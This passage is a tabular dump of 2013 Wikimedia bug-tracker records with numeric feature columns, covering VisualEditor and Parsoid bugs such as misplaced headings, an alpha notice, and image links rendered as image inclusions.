Yes; Rob noticed this too, and is working on it - just created bug 50338 to track.",,,1372384505,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-frnef4dwspf2gymmanpq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,23.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,2.0,9.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0232558139534884,0.6976744186046512,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes; Rob noticed this too, and is working on it - just created bug 50338 to track."
224997,VisualEditor: Heading on a slug is created on the wrong line in Firefox,"Yes, this works now. Thank you!

Just a little usability detail: after selecting the type of heading there is no cursor blinking. You can type and characters will appear where expected, but of course our old friend cursor-blinking is missed.",,,1372375315,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-frnef4dwspf2gymmanpq,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,8.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,2.0,4.0,8.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,4.06,0.84,"Yes, this works now. Thank you!

Just a little usability detail: after selecting the type of heading there is no cursor blinking. You can type and characters will appear where expected, but of course our old friend cursor-blinking is missed."
224991,VisualEditor: Heading on a slug is created on the wrong line in Firefox,I believe we've fixed this now in production - please re-open if it recurs.,,,1372371426,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-frnef4dwspf2gymmanpq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.9444444444444444,I believe we've fixed this now in production - please re-open if it recurs.
50428,VisualEditor: Remove alpha notice,"When I go to use the VisualEditor (e.g., <https://www.mediawiki.org/wiki/Wikimedia_Engineering/2012-13_Goals> --> click ""edit""), there's a bothersome notice every time the VisualEditor form loads about how it's the alpha version of the tool. There's no way to dismiss the notice and it gets a bit grating after a while.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1368496800,1371057658.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_description,resolved,True,c1,1,False,False,True,-7,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,6.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,3.0,0.0,3.0,0.0,4.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,3.6153846153846154,0.6923076923076923,"When I go to use the VisualEditor (e.g., <URL --> click ""edit""), there's a bothersome notice every time the VisualEditor form loads about how it's the alpha version of the tool. There's no way to dismiss the notice and it gets a bit grating after a while.

--------------------------
**Version**: unspecified
**Severity**: trivial"
222968,VisualEditor: Remove alpha notice,Merged and will go out with wmf7 tomorrow.,,,1371057658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,Merged and will go out with wmf7 tomorrow.
222960,VisualEditor: Remove alpha notice,Related URL: https://gerrit.wikimedia.org/r/68128 (Gerrit Change I725beec4e76dadfb1ccca873758f8f37b7f58a73),,,1370999898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I725beec4e76dadfb1ccca873758f8f37b7f58a73)
222954,VisualEditor: Remove alpha notice,Change-Id: Ie289c39b963072e8a20aa29926dee1d199b6e4e8,,,1370298333,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Ie289c39b963072e8a20aa29926dee1d199b6e4e8
222950,VisualEditor: Remove alpha notice,"To do just before the ""alpha"" becomes a ""beta"".",,,1368497309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.7857142857142856,0.7857142857142857,"To do just before the ""alpha"" becomes a ""beta""."
50426,VisualEditor: Pre-beta needs (tracker),"Tracker for the bugs/enhancements that should be done for the beta.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368493800,1393640096.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tzlbyq77mfgatrefsaj3,task_description,invalid,True,c1,1,True,False,False,-7,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.03125,0.65625,"Tracker for the bugs/enhancements that should be done for the beta.

--------------------------
**Version**: unspecified
**Severity**: normal"
513034,VisualEditor: Pre-beta needs (tracker),[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343629,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-tzlbyq77mfgatrefsaj3,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,4.0,1.0,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366]
222858,VisualEditor: Pre-beta needs (tracker),Bugs tracking bugs that track bugs aren't hugely useful; let's kill this one.,,,1393640096,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tzlbyq77mfgatrefsaj3,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,Bugs tracking bugs that track bugs aren't hugely useful; let's kill this one.
50387,Images: Image links are interpreted as image inclusions,"[[:File:SpecialPage_Filter_JS.png]]

is being converted to:

<a rel=""mw:Image"" href=""../File:SpecialPage_Filter_JS.png"" data-parsoid=""{&quot;tsr&quot;:[21446,21481],&quot;src&quot;:&quot;[[:File:SpecialPage Filter JS.png]]&quot;,&quot;dsr&quot;:[21446,21481,null,null]}""><img src=""../Special:FilePath/SpecialPage_Filter_JS.png?width=200"" alt=""SpecialPage_Filter_JS.png"" width=""200"" style=""vertical-align: middle;"" data-parsoid=""{}""></a>

It should be an <a> without the <img> inside it.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://parsoid.wmflabs.org/mw/User:Dantman/Code_Ideas",High,80.0,1368389040,1371761509.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,2.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,11.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,5.47,0.58,"[[:File:SpecialPage_Filter_JS.png]]

is being converted to:

<a rel=""mw:Image"" href=""../File:SpecialPage_Filter_JS.png"" data-parsoid=""{&quot;tsr&quot;:[21446,21481],&quot;src&quot;:&quot;[[:File:SpecialPage Filter JS.png]]&quot;,&quot;dsr&quot;:[21446,21481,null,null]}""><img src=""../Special:FilePath/SpecialPage_Filter_JS.png?width=200"" alt=""SpecialPage_Filter_JS.png"" width=""200"" style=""vertical-align: middle;"" data-parsoid=""{}""></a>

It should be an <a> without the <img> inside it.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
220518,Images: Image links are interpreted as image inclusions,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934030,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
220507,Images: Image links are interpreted as image inclusions,*** Bug 49891 has been marked as a duplicate of this bug. ***,,,1371769152,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49891 has been marked as a duplicate of this bug. ***
220497,Images: Image links are interpreted as image inclusions,Fixed by https://gerrit.wikimedia.org/r/#/c/69612/.,,,1371764117,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
220487,Images: Image links are interpreted as image inclusions,"(In reply to comment #2)
> This affects VisualEditor on the English Wikipedia.

I'm adding bug 48426 as a blocker.",,,1370921421,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.8,1.0,"(In reply to comment #2)
QUOTE

I'm adding bug 48426 as a blocker."
220481,Images: Image links are interpreted as image inclusions,*** Bug 49384 has been marked as a duplicate of this bug. ***,,,1370883912,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49384 has been marked as a duplicate of this bug. ***
220476,Images: Image links are interpreted as image inclusions,*** Bug 48669 has been marked as a duplicate of this bug. ***,,,1369114571,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48669 has been marked as a duplicate of this bug. ***
220470,Images: Image links are interpreted as image inclusions,This affects VisualEditor on the English Wikipedia.,,,1368981137,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,50.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.625,1.0,This affects VisualEditor on the English Wikipedia.
220465,Images: Image links are interpreted as image inclusions,*** Bug 48596 has been marked as a duplicate of this bug. ***,,,1368979809,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48596 has been marked as a duplicate of this bug. ***
50367,VisualEditor: Whitespace preservation for auto-links not working sometimes(?),"Putting this in DM because it seems the most likely suspect.

Original bug occurred on enwiki (text in the test stolen from there). This feels like a bit of bug 43543 - which was fixed?

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/w/index.php?title=VisualEditor:TestAutolinks&diff=688670&oldid=688669",High,80.0,1368315240,1368379914.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-miessklckuwapsejbpw4,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,3.5223880597014925,0.6865671641791045,"Putting this in DM because it seems the most likely suspect.

Original bug occurred on enwiki (text in the test stolen from there). This feels like a bit of bug 43543 - which was fixed?

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
219307,VisualEditor: Whitespace preservation for auto-links not working sometimes(?),"Confirmed as fixed in master.

*** This bug has been marked as a duplicate of bug 43543 ***",,,1368379914,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-miessklckuwapsejbpw4,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.125,0.7083333333333334,"Confirmed as fixed in master.

*** This bug has been marked as a duplicate of bug 43543 ***"
50366,VisualEditor: Can't delete-merge two paragraphs together if the first one ends with an inline-alien,"This was happening with <ref>s, but it looks like it'll be an issue with an paragraph that ends with an inline alien:

| Foo.<ref>Ref</ref>
| Bar.

Backspace with the cursor to the left of the 'B', or delete with the cursor to the right of the <ref> block, has no effect.

The problem with <ref>s will go away(?) when that node handler code is enabled, but is this a wider issue?

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1368313200,1372369220.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lyjnjxdzskobjhrp4tgf,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,1.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,6.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,3.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,14.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,2.5,5.5,1.0,2.0,9.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,6.0,6.0,1.5,1.0,0.0,1.0,0.0,1.5,2.5,0.0,0.5,1.0,0.0,3.5,3.2542372881355934,0.7033898305084745,"This was happening with <ref>s, but it looks like it'll be an issue with an paragraph that ends with an inline alien:

| Foo.<ref>Ref</ref>
| Bar.

Backspace with the cursor to the left of the 'B', or delete with the cursor to the right of the <ref> block, has no effect.

The problem with <ref>s will go away(?) when that node handler code is enabled, but is this a wider issue?

--------------------------
**Version**: unspecified
**Severity**: minor"
